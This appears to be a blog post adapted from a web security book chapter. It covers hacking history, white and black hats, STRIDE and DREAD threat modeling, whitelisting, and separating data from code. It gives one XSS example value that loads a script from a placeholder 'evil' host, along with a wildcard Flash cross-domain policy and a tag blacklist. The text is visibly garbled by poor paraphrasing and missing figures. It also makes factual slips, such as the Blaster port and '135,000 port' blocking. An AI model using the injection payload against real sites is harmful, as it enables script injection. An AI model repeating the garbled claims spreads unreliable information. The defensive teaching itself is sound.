What is Web Security (WhiteHat Perspective)

What is Web Security Basics: Initially, individuals who looked into PC frameworks and systems were called programmers—the individuals who had a decent comprehension of PC frameworks and who could identify problems. In the field of PC security, programmers are alluded to as rule breakers, that is, the individuals who don’t prefer to be limited and are enthusiastic about discovering escape clauses in the framework with the end goal to get the power to control the framework.


In present-day PC frameworks, the most elevated specialist in the client mode is the root (chairman), which is additionally the authority all hackers are anxious to approach. Root to hackers resembles an issue that remains to be worked out.


Development Process of Hacking Techniques

From the perspective of technology development, in the early stage, the majority of hackers targeted the system software. On one hand, web technology development in this period is still far from being immature. On the other hand, by attacking the system software, hackers are often able to obtain root privileges.


During this period, a large number of classic loopholes and the “exploit” emerged. The well-known hacker organization TESO once wrote an exploit to attack SSH and openly declared that they had attacked (U.S. Central Intelligence Agency) by using this.

Here is some information on the exploit.


What is Web Security


Interestingly, this same exploit is used in the famous movie The Matrix Reloaded.


In the early stage, the web was not a mainstream application, relatively speaking; SMTP, POP3, FTP, IRC, and other protocol-based services have the vast majority of users. Hackers mainly attacked networks, operating systems, and software; web security technologies of attacks and defense were in a very primitive stage.


Comparing system-software attacking exploits, web-based attacks generally only allow hackers to obtain low-privileged accounts.


But with the development and the rise of firewall technology, the pattern of Internet security has changed. Especially with representatives of network equipment manufacturers Cisco and Huawei beginning to pay more attention to network security, network products have ultimately changed the direction of Internet security. Firewalls and the rise of ACL technology will protect the system from being directly exposed on the Internet.


In the case of no protection, a website’s database service port will allow anyone to easily connect; with the protection of the firewall, the ACL can control security and allow access only to trusted sources. To a large extent, these measures ensure that the system software stays within the boundaries of trust, thus eliminating most sources of attacks.


The Blaster Worm of 2003 was a landmark event. Aiming at the RPC service on the Windows operating system (running on port 445), the Blaster Worm swept the world in a very short period of time, infecting millions of computers; the loss was immeasurable. After that incident, network operators implemented strict shielding of more than 135,000 port connection requests on the backbone network, which unprecedentedly increased the security of the entire Internet.



The Rise of Web Security

Web attack techniques can be divided into several stages. In the Web 1.0 era, people were more concerned about server-side dynamic scripting security issues, such as an executable script (commonly known as web shell) uploaded to the server to obtain permission.


The popularity of dynamic scripting languages and insufficient cognition of web technologies on security issues in the early stages caused a lot of issues, such as the PHP language still having to rely on good code specifications to ensure that no file contains a loophole, but not on the language itself to prevent the occurrence of such security issues. SQL injection is a milestone in the history of web security; it first appeared in about 1999 and quickly became a major threat to web security.


Programmers worked hard to amend the loopholes in the system and to contain the attacks, as otherwise hackers can access important and sensitive data through SQL injection attacks and can even access the system through the database.


SQL injection attack is as effective, if not better, than a direct attack, which makes it popular with hackers. Vulnerability to SQL injection attacks is therefore still an important concern in the web security field.


XSS (cross-site scripting) attack is another milestone in the history of web security. In fact, XSS and SQL injection appeared almost at the same time, but the former came into prominence only in about 2003. After the MySpace XSS worm incident, the web security community took cognition of the large threat posed by XSS; it even made it to the top of the OWASP 2007 Top 10 threats.


Along with the rise of Web 2.0, XSS and CSRF attacks have become even more powerful. Web attacks shifted from the server side to that of clients, browsers, and users. With more options at their disposal, hackers covered every aspect of the web.

These security issues we will discuss deeply in the book are at different chapters. With the growth of web technology and the Internet, several new scripting languages have developed such as Python, Ruby, Node JS, and so on. Besides, the development of mobile phone technology and the rise of the mobile Internet have brought new opportunities and challenges to HTML 5, which require web security technology to constantly evolve and remain up to date.




In the world of hacking, colors are often used to distinguish between good and bad hackers. White hat hackers refer to those who are well versed in security technology and who use their abilities for ethical purposes rather than for criminal activities; black hat hackers, on the other hand, refer to those who violate computer security for personal gain and can include cybercrime groups. Both types of hackers study the loopholes in web security, but their working methods are completely different.


Blackhat hackers can intrude a system by finding any single flaw; white hat hackers, on the other hand, must be aware of all the flaws in the system in order to ensure there are no problems. This difference is due to their diametrically opposite goals.


White hat hackers generally work for a business or a security company. Their aim is to solve all security problems; this requires in-depth knowledge of the domain and macro thinking. Black hat hackers, on the other hand, commit cybercrime and invade the system to find valuable data; this requires selective and micro thinking.


From the point of view of handling the problem, in order to complete the invasion, the black hats need to use a combination of various loopholes to achieve their goals; the white hats, when designing a solution, if only to see effects after the combination it will make things complicated, difficult to solve the fundamental problems; white hats must continue to break down problems to be addressed one by one.


The asymmetry of this positioning causes white hat hackers more difficulty. “Destruction is always easier than construction,” but all things are not absolute. How to reverse this situation? In general, the method chosen by white hat hackers is to overcome all kinds of attacks rather than a single attack—for example, to design a solution that, under certain circumstances, is able to withstand all known and unknown SQL injection problems.


Assume that the program implementation period is 3 months, after which the SQL injection problem is resolved, which means that hackers can no longer use SQL injection to invade possible weaknesses. If you do this successfully, the white hat in the local SQL  injection confrontation changes from passive to active.


In the real world, however, a wide variety of problems cannot be avoided. Engineers like the phrase “No patch for stupid!” In the security field also, it is generally agreed that “The biggest vulnerability is a man!” No matter how well the program may have been written, it may lead to various unforeseen circumstances, such as the administrator’s password being leaked, the programmer turning off security configuration parameters, etc. Security issues tend to occur in some unexpected places.


Defense and attack techniques are constantly improving and competing, which is akin to an arms race. White hat hackers try and solve vulnerabilities in the system, whereas black hat hackers are constantly on the lookout for loopholes. Who leads technically and who will be able to take the initiative? The Internet and web technology are in development, and there are also gaming processes.


Thus, if a new technology does not consider security design at the initial stages, the defense technology is certain to lag behind the attack techniques.




Let us now get back to discussing the core topic. This is a Post on web security; thus even though it will explain the necessary principles of attack techniques, the main ideas and techniques will be centered around topics related to defense techniques.


From a safety point of view, regions are carved out according to different degrees of importance (Figure 1.1).


Through a security check (filtration, purification) process, you can sort out the unknown person or thing to make it trusted. Regions are divided into different trust levels we refer to as domains of trust; divisions of the boundary between two different trust domains are called trust boundaries.

Trust domain data from the high level of trust to a low grade do not need a security check; for data from the low levels to the high levels of a trust domain, you need to go through a security check of the trust boundary.


Though a security check is not required if you want to go out of the terminal, you need to undergo a security check if you want to come back again.


What is Web Security
FIGURE 1.1 Security check process needs to be filtered according to the needs of the different regions.


The nature of security issues is a question of trust. The bases for the design of all security programs are built on trustworthy relationships. Security programs can only be established if we believe in something; if we negate everything, security programs will be like a river without water or woods without roots; nothing can be designed.




Let us now begin to analyze and resolve security issues. A security assessment process can be divided into four stages: asset classification, threat analysis, risk analysis, and conformance to design (Figure 1.2).


What is Web Security


Asset Classification

Asset classification is the basis for all work; this will make clear the objective that you want to protect. We mentioned formerly the three elements of security, confidentiality, and integrity of all data related to the availability, for which I use the term resources. Resources, as a concept, describes a more extensive range than data, but in many cases, the availability of resources can be understood as the availability of data.

If the infrastructure of the Internet has been relatively complete, the core of the Internet is actually driven by the user data—user-generated business operations data. For Internet companies, in addition to some fixed assets, such as servers and other hardware, the core value is user data. -So the core issue of Internet security is the issue of data security.


Does security relate to asset evaluation? Of course, Internet companies have an asset classification, the data classification. Some companies are most concerned about customer data; some companies are even more concerned about employee data; the focus is different depending on the respective business.

What is Web Security
In the process of asset classification, we need to communicate with the persons in charge of each business unit to understand the company’s most important asset.


After the interviews, security departments become familiar with and understand the company’s business and its data, as well as the importance of different data, which directs the follow-up assessment process.



Threat Analysis

Having provided the definition of a trusted domain, we can now determine where the danger comes from. In the security field, harmful elements to the source are known as threats, and losses that may occur are known as risks.


Certain risks are associated with losses, but many professional security engineers often confuse these two concepts and mistake their identity in a written document. Distinguishing these two concepts can help us go to the next two stages, “threat modeling” and “risk analysis,” which are closely related.


What is threat analysis? Threat analysis is finding out all threats. How to find them? By brainstorming. Of course, there are some other more scientific methods as well, such as the use of models to help us identify threats; this process can avoid omission and is known as threat modeling.


We will introduce a threat modeling method called the STRIDE model in this book, which was first proposed by Microsoft. STRIDE is made up of the initial letters of six words (see Table 1.1).

What is Web Security

Threat analysis should aim, as much as possible, to identify all possible threats; the attack surface can be determined by the brainstorming process.

When maintaining system security, the most frustrating part is that engineers spend a lot of time and effort to implement security programs, but attackers assess the vulnerabilities and are able to invade successfully. This is often caused by neglect on the part of the engineers when determining the surface of attacks.



Risk Analysis

Risk is composed of the following factors:

Risk = Probability * Damage Potential

Besides the size of the losses and high or low factors affecting risk, the likelihood of occurrence also needs to be taken into account. For example, volcanic earthquakes frequently appear at the edge of continents, such as in Japan and Indonesia. In the continental center, if the geological structure is on an entire rock, the risk of an earthquake is much less.

What is Web Security

How do we assess risk scientifically? I will here introduce the DREAD model, which has also been proposed by Microsoft. DREAD, like STRIDE, is also made up of the initials of words; it allows us to judge what level of risk a threat can lead to (Table 1.2).


In the DREAD model, each factor can be divided into three grades, high, medium, and low. In Table 1.1, high, medium, and low grades (3, 2, 1 score, respectively) represent the weight; thus we can calculate the specific risk value of a threat.


For example, if the KMT brigade, after threat modeling, found two principal threats to circumventing the mountain—a threat of stormy weather on the main path and a treacherous trail to contend with—the corresponding risks could be calculated as follows:

The main path:

Risk = D(3) + R(3) + E(3) + A(3) + D(3) = 3+3+3+3+3=15

The mountain trail:

Risk = D(3) + R(1) + E(1) + A(3) + D(1) = 3+1+1+3+1=9

The level of risk is defined as follows:





Design of Security Programs

The output of security assessment is the security solution. Solutions must be target-specific, that is, they must be broken down by asset class, threat analysis, and risk analysis.

To design solutions is not difficult; what is difficult is to design a good solution. Designing a good solution is the true test for security engineers.

Many people think that if the security conflicts with business, some business will be sacrificed because of ensuring security; however, I do not agree with this view. From a product perspective, security is essential. Without considering security, a product will be incomplete.


Microsoft launched Windows Vista with a new feature called UAC; whenever there is any software-sensitive action, the UAC will pop up asking the user whether to allow this behavior. This feature has been vastly criticized—if the user were able to tell what kind of behavior is safe, then why do they need security software?


Lots of desktop security software have the same problem; they frequently pop up a dialog box asking the user whether to allow the target behavior, which is ridiculous. Good security products or modules need to take user experience into account but also need to facilitate continuous improvement.


A security module should be an excellent program as well, designed to achieve high polymerization, low coupling, and ease of expansion, and should be compatible for Nmap users, for example, who, according to the need, should be able to write plug-ins to achieve some of the more complex functions in order to meet individual requirements.


Ultimately, a good security program should have the following characteristics:

• Should be able to solve problems effectively

• Should provide a good user experience

• Should be performance oriented

• Should have low coupling

• Should be easy to expand and upgrade For more details on product security issues, refer to Chapter 16 “Internet Business Security.”



In the previous section, we talked about the basic process of the implementation of a security assessment and its final output security solution; but what kinds of skills are needed in the specific design of security solutions? This section will describe what method may be used in actual combat.


Blacklist, Whitelist

For example, when making a network access control policy, if the site is only available for web services, then the correct approach is to only allow the web server ports 80 and 443 to the external provision of services, shielding the other ports.

This is a whitelist approach; if you use the blacklist approach, then problems may arise. Assume a blacklist strategy is as follows: Do not allow SSH port open to the Internet; then, they would audit the SSH default port: Port 22 is open to the Internet.


However, in the actual work process, it is often found that some engineers, due to laziness or for the sake of convenience, change the SSH listening port, for example, they change the SSH port from 22 to 2222 without permission, thereby allowing it to bypass security policy.


For example, in the production environment of the server, arbitrary installation of software should be limited; unified rules for software installation need to be developed. The rules can be worked out based on a whitelist. Information on software versions in accordance with the business needs are to be listed and others prohibited.


If the engineers are allowed to install software on the server, it may create loopholes, which increase possibilities for attack. In web security, whitelists are used everywhere. For example, in the application processing rich text submitted by the user, taking into account the XSS issue, you need to do a security check.


Common XSS filters are generally used to parse into label objects, and then to match XSS rules. This list of rules can be either a black or a whitelist. If you choose blacklist, a set of rules may prohibit labels such as <script>, <iframe>, etc. But this blacklist may not be enough, because browsers support new HTML tags and these tags may not be in the blacklist. Choosing a whitelist will avoid this issue as the rules allow the user to input only labels such as <a>, <img>, etc. The details of to design a good XSS defense program are discussed in Chapter 3, “Cross-Site Scripting.”


On Flash, a cross-domain access request is normally checked via a crossdomain.xml file in the server to verify whether to allow the Flash cross-domain client’s request; it uses a whitelist,


for example, the following policy file:


<cross-domain-policy> <allow-access-from domain=”*”/> <allow-access-from domain=”*”/> <allow-access-from domain=”*”/> <allow-access-from domain=”*”/> <allow-access-from domain=”*”/> </cross-domain-policy>


Specific domains are allowed; however, if the domain name in the list becomes untrusted, this will lead to the following problem:

<cross-domain-policy> <allow-access-from domain=”*”/> </cross-domain-policy>


Wildcard “*”, on behalf of the Flash, can access the domain data from any domain and therefore cause a hazard. So when you choose to use a whitelist, ensure that you avoid a similar wildcard “*”.


Principles of Data and Code Separation

Another important security principle is the principle of separation of data and code. This principle is widely applicable to a variety of injected issues.

In fact, a buffer overflow can also be regarded as a consequence contrary to this principle— the program on the stack or the heap data as code and executes, which results in security problems.


There are many web security problems caused by the injection, such as XSS, SQL injection, CRLF injection, X-Path injection, and so on. Such problems can be designed in accordance with the principle of separation of data and code, “a truly secure solution,” because this principle seizes the nature of the loopholes.


Take XSS as an example; its reason is HTML injection or JavaScript injection; it codes a page as follows:

<html> <head>test</head> <body> $var </body> </html>


In the code, $ Var is a variable the user can control; then, this code:

<html> <head>test</head> <body> </body> </html>


is the implementation of the earlier program. While



is the user’s data fragment,

if the user data fragment $ var is executed as a code, it will lead to security problems. For example, when the value of $ var is: <script src=http://evil></script>


the user data are injected into the code snippet. The browser will execute it—the browser treats the user data with <script> tag as a code snippet—this is clearly not the program developer’s intent.

In accordance with the principle of separation of data and code, the user data $ var needs security handling; you can use the means of filtering, coding, etc. to eliminate any code that may cause confusion, specific to this case, that is, to handle <> symbols.


Some people may ask: “There is a need to perform a <script> label to pop up a paragraph of text, such as: “Hello!” How to do it?” In this case, data and code change; based on the principles of data and code separation, we should rewrite the code fragment:

<html> <head>test</head> <body> <script> alert(“$var1”); </script> </body> </html>


In this case, <script> label has become part of the code fragment; the user data can only control $ var1 so as to prevent the occurrence of security problems.


Editors’ Recommendations:

Chapter 1: How Computers Work – The Evolution Of Technology

How Does Computer Memory Work? – [Chapter 2]



This chapter summarizes my understanding and thinking of the security world, beginning with the history of the development of Internet Security, which reveals the nature of the security, execution of security, and concludes with several ideas and principles with regard to designing security programs.


In subsequent chapters, we will continue to reveal all aspects of web security and provide in-depth analysis on the attack principle as well as study corrective measures—we will tackle a variety of questions along the way, including questions on the specifics of design and suitability. Security is a not a complex field. Whether it be traditional security or Internet security, the principle is inherently the same. All we need to do is grasp the core of security issues.

Leave a Reply

Notify of